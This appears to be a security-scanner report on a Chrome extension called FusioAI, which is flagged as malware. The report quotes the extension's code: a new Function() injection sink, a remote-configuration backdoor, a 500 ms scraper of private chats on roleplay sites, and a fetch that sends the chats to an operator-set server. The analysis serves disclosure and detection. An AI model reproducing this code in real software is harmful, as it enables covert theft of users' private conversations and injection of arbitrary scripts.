Security Alert: Confirmed Malware
FusioAI: Visualize AI Chat | Character.ai, Janitor.ai, Spicychat, CrushOn
ID: maaaildnpfjnffkjifanfpjgkhdoipkg
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- doublemcompany123View Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
FusioAI is AI image generator perfectly integrated with Character.ai, Janitor.ai, Spicychat, CrushOn. It will transforms your chats…
FusioAI is AI image generator perfectly integrated with Character.ai, Janitor.ai, Spicychat, CrushOn. It will transforms your chats into immersive visuals like never before. 🎨 Visualize your fantasies with real-time image generation directly from your chats—no prompt engineering needed. 🔓 Providing a safe, private space to explore your imagination without limitations. 🔥 Seamless integration with popular AI chat services like [Character.ai](http://character.ai/), JanitorAI, [SpicyChat.ai](http://spicychat.ai/), and CrushOn for effortless syncing. Whether you’re role-playing, storytelling, or diving deep into your fantasies, FusioAI ensures every moment feels real and alive. Join now and get free tokens! https://landing.fusioai.net/
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://landing.fusioai.net/*
This script reads a `fn` URL parameter and executes it via `new Function()` — a classic eval-equivalent dynamic code-execution sink. Because `inject.js` is exposed in `web_accessible_resources` to `<all_urls>`, ANY website can include it via `<script src="chrome-extension://maaaildnpfjnffkjifanfpjgkhdoipkg/inject.js?fn=...">` to bypass page CSP script-src restrictions and execute attacker-controlled JavaScript. This is a deliberate remote-code-loading / injection facility shipped by the extension.
! function() { const n = new URLSearchParams(window.location.search).get("fn"); n && new Function(`return ${n}`)()()}();The page (any `fusioai.net` page, but also `localhost:8080/8081` and a hard-coded IP `http://98.84.93.176/*` listed in the manifest content_scripts) can set localStorage values that are then forwarded into `chrome.storage.local`, including `fusio_server_url` (the exfiltration endpoint) and `fusio_textCrollSiteSettings` (CSS selectors and URL regex used to scrape chat content). This is a remote-configuration backdoor: the operator can change the exfiltration target and what gets scraped at any time without an extension update.
const t = ["fusio_sid", "fusio_server_url", "fusio_textCrollSiteSettings"];window.addEventListener("storage", (e => { t.includes(e.key) && chrome.runtime.sendMessage({ action: "save_to_storage", payload: { key: e.key, value: e.newValue } })}))Background service worker forwards scraped chat content to a fully attacker-configurable endpoint (`server_url` is read from `chrome.storage.local`, which the page-side scripts populate from the host site's localStorage). The destination is not a fixed first-party domain — it is whatever value `fusio_server_url` currently holds — so the operator can silently redirect exfiltrated data anywhere.
"extractDivTexts" === r.action ? ((async () => { try { const [e, s] = await Promise.all([new Promise(((e, r) => { chrome.storage.local.get(["fusio_sid"], (s => { chrome.runtime.lastError ? r(chrome.runtime.lastError) : e(s.fusio_sid) })) })), new Promise(((e, r) => { chrome.storage.local.get(["fusio_server_url"], (s => { chrome.runtime.lastError ? r(chrome.runtime.lastError) : e(s.fusio_server_url) })) }))]), a = { ...r, sid: e, server_url: s }; await async function(e) { fetch(`${e.server_url}/api/extension-crawl`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ message: e }) }) }(a),On janitorai.com / character.ai / spicychat.ai / crushon.ai, a `setInterval` polls every 500 ms and on every tick scrapes the user's chat conversation (texts, speakers, character title, and image URLs), then ships the payload to the configurable server. NSFW chat platforms typically host private adult roleplay content; covertly mirroring it to a third-party server is unauthorized data collection.
let s = null;function a() { s || (s = setInterval((() => { c() }), 500))}document.addEventListener("visibilitychange", (() => {"visible" === document.visibilityState ? (l = [], c(), a()) : s && (clearInterval(s), s = null)})), "visible" === document.visibilityState && (c(), a())})();Bundles the scraped chat (messages, speaker names, conversation title, character images, full URL with chat ID) and hands it to the background service worker, which ships it off-device. Combined with the `fusio_sid` session identifier added in background.js, this lets the operator tie a stream of private chat content to a per-installation identity.
chrome.runtime.sendMessage({action: "extractDivTexts",texts: s,speakers: a,title: f,images: n,hostname: window.location.hostname,href: window.location.href,visible: document.visibilityState}), l = s))Injects two scripts into the page (on fusioai.net, localhost, and a hard-coded IP `98.84.93.176`) that (1) expose page localStorage to extension-listenable events and (2) monkey-patch `localStorage.setItem` to dispatch synthetic `storage` events on the same origin. This is the page-side half of a configuration channel that lets the served page write arbitrary values into the extension's storage (server URL, scraping rules, session ID).
(() => { const e = e => { const t = document.createElement("script"); t.src = chrome.runtime.getURL(`inject.js?fn=${encodeURIComponent(e.toString())}`), (document.head || document.documentElement).appendChild(t) }; (() => { e((() => { window.addEventListener("getLocalStorage", (e => { const t = e.detail.key, n = localStorage.getItem(t); window.dispatchEvent(new CustomEvent("returnLocalStorage", { detail: { key: t, value: n } })) })) })), e((() => { const e = localStorage.setItem; localStorage.setItem = function(t, n) { const o = new Event("storage"); o.key = t, o.newValue = n, e.apply(this, arguments), window.dispatchEvent(o) } }));Scraping rules (URL regex pattern + CSS selectors for messages, speakers, titles, images) are loaded from `fusio_textCrollSiteSettings` in chrome.storage.local — populated remotely via the localStorage→storage forwarding in contentScriptClient.js. A regex from that source is passed straight to `new RegExp(...)`. Operators can therefore reconfigure WHAT gets scraped on each target site, or extend scraping to additional hostnames, without publishing an extension update.
async function n() { const n = window.location.hostname; return e ? e[n] || null : new Promise((o => { chrome.storage.local.get("fusio_textCrollSiteSettings", (l => { const i = function(t) { const e = { ...t }; for (const t in e) e[t].urlPattern && (e[t].urlPattern = new RegExp(e[t].urlPattern)); return e }(l.fusio_textCrollSiteSettings || t); e = i, o(i[n] || null) })) }))}A production Chrome Web Store extension lists `http://localhost:8080/*`, `http://localhost:8081/*`, and a hard-coded plaintext public IP `http://98.84.93.176/*` as content-script match targets. Any HTTP server reachable at that IP (or anyone able to MITM it, since it is plain HTTP) can drive the configuration backdoor in contentScriptClient.js — setting `fusio_server_url` to redirect exfiltration, or `fusio_textCrollSiteSettings` to change scraping rules.
"content_scripts": [ { "matches": [ "http://localhost:8080/*", "http://localhost:8081/*", "http://98.84.93.176/*", "https://fusioai.net/*", "https://landing.fusioai.net/*" ], "js": ["contentScriptClient.js"] },Sidebar page weakens its CSP with `'unsafe-inline'` for scripts, and the page title is `DoubleM Extension Sidebar` — a different brand from the extension name (`FusioAI`). Mismatched branding suggests the extension was rebadged from another (likely template) project, which together with the configurable exfiltration server and remote scrape rules is consistent with a white-labeled spyware kit.
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'"><title>DoubleM Extension Sidebar</title>By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.1 | 9 |
Files with findings
6 distinct paths — top paths by unique finding count:
- contentScriptCrawl.js3
- contentScriptClient.js2
- background.js1
- inject.js1
- manifest.json1
- sidebar.html1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.